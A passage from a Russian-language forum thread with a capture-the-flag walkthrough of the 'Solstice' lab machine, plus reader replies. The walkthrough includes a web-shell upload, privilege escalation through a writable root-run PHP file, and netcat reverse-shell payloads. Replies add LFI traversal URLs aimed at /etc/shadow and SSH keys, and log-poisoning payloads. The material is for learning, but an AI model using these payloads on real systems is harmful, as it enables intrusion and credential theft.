      symlink: "Create symlink called:",
          directory: "/test",
          ok: "Ok",
          formpost: "filethingie",
          advancedactions: "false"
        });

Хм... Я могу распаковывать zip архив! Пакую свой шелл в архив и пробую залить

1622714544300.png


Супер, как распаковать?

1622714623200.png


Оказывается нужно просто кликнуть рядом с файлом и вывалится менюшка описанная в скрипте. Выбираю unzip и жмакаю!

1622714698200.png


Пишет что файл распакован, но он не отображается( Смотрю куда ложится архив и вижу корень
http://192.168.1.6:54787/project/test/shell.php.zip

Наверное распаковывается сюда но из-за фильтра не отображается. Пробую обратиться напрямую и...
1622714837000.png


Файл исполняется))) Ставлю листенера и обновляю страницу
1622714896400.png

Тадам.... Есть шелл))) Правда теперь возникает вопрос, на кой черт нужен эксплоит с кучей заморочек, если решение на столько простое?

4. Privilage Escalation

И так мы нашли 2 способа как получить доступ с низкими правами. Какой из них выбрать решать вам. Пришло время повысится в правах и почитать наши флаги!

Первым делом привожу в порядок оболочку

Код:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Ctrl + Z и

stty raw -echo; fg

Ок, первым делом сотрю sudo

Код:
www-data@solstice:/$ sudo -l
sudo: unable to resolve host solstice: Name or service not known

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data:
Просит пароль, а у меня его нет

Смотрим cron задачи

Код:
@reboot /usr/bin/python -m pyftpdlib -p 2121 -d /var/tmp/ftp/
@reboot /usr/bin/php -S 0.0.0.0:54787 -t /var/tmp/webserver_2/
@reboot /usr/bin/php -S 0.0.0.0:8593 -t /var/tmp/webserver/
@reboot /usr/bin/python /var/tmp/fake_ftp/script.py

Есть задачи, но все они запускаются после перезагрузки
cat /etc/crontab

Код:
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

И тут тоже ничего интересного

Пробую зайти в домашний каталог пользователя miguel
Код:
www-data@solstice:/$ cd /home/miguel/
www-data@solstice:/home/miguel$ ls -la
total 28
drwxr-xr-x 3 miguel miguel 4096 Jun 26  2020 .
drwxr-xr-x 3 root   root   4096 Jun 13  2020 ..
lrwxrwxrwx 1 root   root      9 Jun 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 miguel miguel  220 Jun 13  2020 .bash_logout
-rw-r--r-- 1 miguel miguel 3526 Jun 13  2020 .bashrc
drwxr-xr-x 3 miguel miguel 4096 Jun 13  2020 .local
-rw-r--r-- 1 miguel miguel  807 Jun 13  2020 .profile
-rw------- 1 miguel miguel   33 Jun 26  2020 user.txt

Флаг почитать не могу и .bash_history пустой(( Ок, смотрю suid/sgid файлы

Код:
www-data@solstice:/home/miguel$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsrwxrwx 1 Debian-exim adm 2137 Jun 18  2020 /var/log/exim4/mainlog.1
-rwsrwxrwx 1 root adm 12496 Jun 18  2020 /var/log/apache2/error.log.1
-rwsrwxrwx 1 root adm 14545 Jun 17  2020 /var/log/apache2/access.log.1
-rwsrwxrwx 1 root adm 0 Jun 13  2020 /var/log/apache2/other_vhosts_access.log
-rwsrwxrwx 1 root adm 606 Jun 14  2020 /var/log/apache2/error.log.2.gz
-rwsrwxrwx 1 root adm 250 Jun 14  2020 /var/log/apache2/access.log.2.gz
-rwsr-xr-x 1 root root 44440 Jul 27  2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 157192 Feb  2  2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 51280 Jan 10  2019 /usr/bin/mount
-rwsr-xr-x 1 root root 63568 Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 54096 Jul 27  2018 /usr/bin/chfn
-rwxr-sr-x 1 root shadow 31000 Jul 27  2018 /usr/bin/expiry
-rwsr-xr-x 1 root root 44528 Jul 27  2018 /usr/bin/chsh
-rwxr-sr-x 1 root ssh 321672 Jan 31  2020 /usr/bin/ssh-agent
-rwxr-sr-x 1 root mail 18944 Dec  3  2017 /usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 71816 Jul 27  2018 /usr/bin/chage
-rwsr-xr-x 1 root root 34888 Jan 10  2019 /usr/bin/umount
-rwxr-sr-x 1 root tty 14736 May  4  2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root tty 34896 Jan 10  2019 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43568 Oct 11  2019 /usr/bin/crontab
-rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 23288 Jan 15  2019 /usr/bin/pkexec
-rwxr-sr-x 1 root root 15048 Mar 14  2019 /usr/bin/dotlock.mailutils
-rwxr-sr-x 1 root shadow 39616 Feb 14  2019 /usr/sbin/unix_chkpwd
-rwsr-xr-x 1 root root 1181384 May 13  2020 /usr/sbin/exim4
-rwsr-xr-x 1 root root 436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwSr--r-- 1 root root 39728 Jan  9  2016 /usr/lib/uncompress.so
-rwsr-xr-- 1 root messagebus 51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root utmp 10232 Feb 18  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter

Интерес представил 1 файл:

Код:
-rwsr-xr-x 1 root root 1181384 May 13  2020 /usr/sbin/exim4

Смотрю на exploitdb что есть на exim4
Код:
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation                                                    | https://www.exploit-db.com/exploits/40054
Exim < 4.86.2 - Local Privilege Escalation                                                                       | https://www.exploit-db.com/exploits/39549
Exim < 4.90.1 - 'base64d' Remote Code Execution                                                                  | https://www.exploit-db.com/exploits/44571

Двигаюсь по порядку. Для первого нам нужна версия Debian 8, смотри что у нас:
Код:
www-data@solstice:/home/miguel$ cat /etc/debian_version
10.3
Ок, отбрасываем.

Exim < 4.86.2 - Local Privilege Escalation

От нас просят
For the option to be supported, exim must have been compiled with Perl support, which can be verified with: [dawid@centos7 ~]$ exim -bV -v | grep i Perl Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Перевод:
Для поддержки этой опции exim должен быть скомпилирован с Perl
поддержку, которой можно проверить с помощью:
exim -bV -v | grep i Perl

Пробую ..

Код:
www-data@solstice:/home/miguel$ /usr/sbin/exim4 -bV -v | grep -i Perl
И ничего... Значит вариант отпадает

Теперь погляжу версию ядра, может есть эксплоит
Код:
www-data@solstice:/home/miguel$ uname -a
Linux solstice 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux

И тоже пусто((((

Заброшу pspy чтоб поглядеть на процессы и может там есть скрытая cron задача

1622723894600.png


Видим что от root висит 2 процесса
CMD: UID=0 PID=392 | /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/ - PHP сервер на локальном 57 порте который работает с /var/tmp/sv/
CMD: UID=0 PID=389 | /bin/sh -c /usr/bin/python -m pyftpdlib -p 21 -u 15090e62f66f41b547b75973f9d516af -P 15090e62f66f41b547b75973f9d516af -d /root/ftp/ - FTP сервер

Меня интересует первый процесс с веб сервером. Погляжу список подключений через ss
Код:
www-data@solstice:/tmp$ ss -t -a
State       Recv-Q  Send-Q   Local Address:Port             Peer Address:Port 
LISTEN      0       128            0.0.0.0:ssh                   0.0.0.0:*   
LISTEN      0       5            127.0.0.1:ipp                   0.0.0.0:*   
LISTEN      0       20             0.0.0.0:smtp                  0.0.0.0:*   
LISTEN      0       128          127.0.0.1:57                    0.0.0.0:*   
LISTEN      0       1              0.0.0.0:62524                 0.0.0.0:*

Видим что 57 порт висит в режиме ожидания, попробуем туда стукнуть cURL'ом
Код:
www-data@solstice:/tmp$ curl 127.0.0.1:57
Under construction

Ок, посмотрим что лежит в директории в которой развернут веб сервер

Код:
www-data@solstice:/tmp$ cd /var/tmp/sv/
www-data@solstice:/var/tmp/sv$ ls -la
total 12
drwsrwxrwx 2 root root 4096 Jun 26  2020 .
drwxrwxrwt 9 root root 4096 Jun  3 08:39 ..
-rwxrwxrwx 1 root root   36 Jun 19  2020 index.php
www-data@solstice:/var/tmp/sv$ cat index.php
<?php
echo "Under construction";
?>

И видим что в каталоге лежит php файл который выводит Under construction, как раз то, что мы получили в ответе от curl. Обращаем внимание на тот факт, что мы можем перезаписывать данный файл, а это дает нам возможность внедрить любой PHP код, котрый быдет иcполнен от ROOT.
Я верну реверс шелл, вы можете сделать что-то другое. Например можно прочитать /etc/shadow и разобрать хеши. Можно дать SUID какой-то утилите и через нее вернуть оболочку, вообще все что пожелает душа!
Внедряю <?php system ('nc 192.168.1.9 1234 -e /bin/bash'); ?>
И получаю заветный ROOT

1622739276300.png


Дальше остается только почитать флаги и было бы хорошо написать отчет, но я пока этого делать не умею))))

ИТОГИ:
На этой коробке мы изчили и применили такие вещи:
  1. Научились выполнять заражение лог файлов, что относится к атаке на веб сервер
  2. Нашли реальное приложение вместо фейка
  3. Научились обходить фильтрацию на стороне сервера
  4. Научились повышать права через процесс
В целом было получено огромное удовольствие от прохождения, я буквально вникал в каждый процесс. Были заморочки конечно, не без них. Но в целом кайфанул!!!!
С Уважением'
 

Вложения

  • 1622746330200.png
    1622746330200.png
    5,1 КБ · Просмотры: 208

ripmandin

Red Team
13.03.2020
38
147
BIT
3
Отличный материал. Техники описанные в отчете были взяты из методички Offensive Security или это собственные наработки?
 
  • Нравится
Реакции: Kowalski и LockBit

Qulan

Red Team
06.12.2020
171
509
BIT
348
Отличный материал. Техники описанные в отчете были взяты из методички Offensive Security или это собственные наработки?
Добрый день. Все кроме log poison, это материал обучения на tryhackme. Отравление логов, это уже самостоятельная работа при изучении веб-серверов
 
  • Нравится
Реакции: nks1ck

Kondit

Green Team
05.10.2020
81
15
BIT
0
Прочитал всю тему было интересно, хорошо описан процесс)
 

Carbonium

Green Team
27.08.2019
39
22
BIT
55
Хороший текст, ничего лишнего. Спасибо, очень интересно :)
 

clevergod

Platinum
22.04.2017
119
673
BIT
10
Молодец, описано нормально.
Учти, это бывшая экзаменационная машина и внимательно прочти правила публикации у оффсеков.
 

Pernat1y

Red Team
05.04.2018
1 443
135
BIT
0
Web server:Squid http proxy 4.6
Lang/Framework: None
Hidden Directory:
Попытка прогнать gobuster'ом не увенчалась успехом из-за крайне низкой скорости сканирования и я отключился
But why?
Это прокси сервер, а не хттп.
Через него вполне можно было завернуть nmap и просканить localhost. Возможно нашли-бы что-то ещё ;)
 

Qulan

Red Team
06.12.2020
171
509
BIT
348
Молодец, описано нормально.
Учти, это бывшая экзаменационная машина и внимательно прочти правила публикации у оффсеков.
Спасибо, обязательно погляжу. Даже как-то не задумывался ...

But why?
Это прокси сервер, а не хттп.
Через него вполне можно было завернуть nmap и просканить localhost. Возможно нашли-бы что-то ещё ;)
Поправде сказать не понял вопроса ...((( Можно пояснить?

Через него вполне можно было завернуть nmap и просканить localhost. Возможно нашли-бы что-то ещё
Sorry, не увидел спойлер!! Честно сказать я еще не знаю как это сделать, но за подсказку огромное спасибо. Я обязательно по гуглю и попробую.
 

nks1ck

Green Team
02.11.2020
223
106
BIT
0
Exploitation LFI

Из того что знаю я (пока что), я могу:
  1. Попробовать почитать /etc/shadow и в случае успеха получить хеш пароля системного пользователя
  2. Попробовать прочитать id_rsa пользователя miguel и reet
  3. Попробовать почитать .bash_history файл пользователя miguel, возможно там есть креды
  4. Попробовать получить доступ к конфигурационным файлам веб -сервера Apache
http://192.168.1.191:8593/index.php?book=../../../../etc/shadow - без результата
http://192.168.1.191:8593/index.php?book=../../../../home/miguel/.ssh/id_rsa - без результата
http://192.168.1.191:8593/index.php?book=../../../../root/.ssh/id_rsa - без результата
http://192.168.1.191:8593/index.php?book=../../../../home/miguel/.bash_history - без результата
http://192.168.1.191:8593/index.php?book=../../../../var/log/apache2/access.log - есть контакт)))

Посмотреть вложение 50452
По поводу LFI, можешь еще смотреть на /proc/self/environ, там бывает user-agent, который через BurpSuite меняешь на <? passthru("nc -e /bin/bash ip port"); ?>

Так же есть интересный файл /var/log/auth.log, туда записываются неудачные попытки входа на тот же ssh. Пробуешь зайти на ssh с ником"<? passthru("nc -e /bin/bash ip port"); ?>" и смотришь как в терминале "Meterpreter session opened"
 

Qulan

Red Team
06.12.2020
171
509
BIT
348
По поводу LFI, можешь еще смотреть на /proc/self/environ, там бывает user-agent, который через BurpSuite меняешь на <? passthru("nc -e /bin/bash ip port"); ?>

Так же есть интересный файл /var/log/auth.log, туда записываются неудачные попытки входа на тот же ssh. Пробуешь зайти на ssh с ником"<? passthru("nc -e /bin/bash ip port"); ?>" и смотришь как в терминале "Meterpreter session opened"
Благодарю. Записал себе)))
 

nks1ck

Green Team
02.11.2020
223
106
BIT
0
Так же у журнала "Хакер" есть классная статья по LFI - "Полностью твой админ. Эксплуатируем LFI и выполнение произвольного окда в phpMyAdmin". Если не знаешь где найти - напиши в лс.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!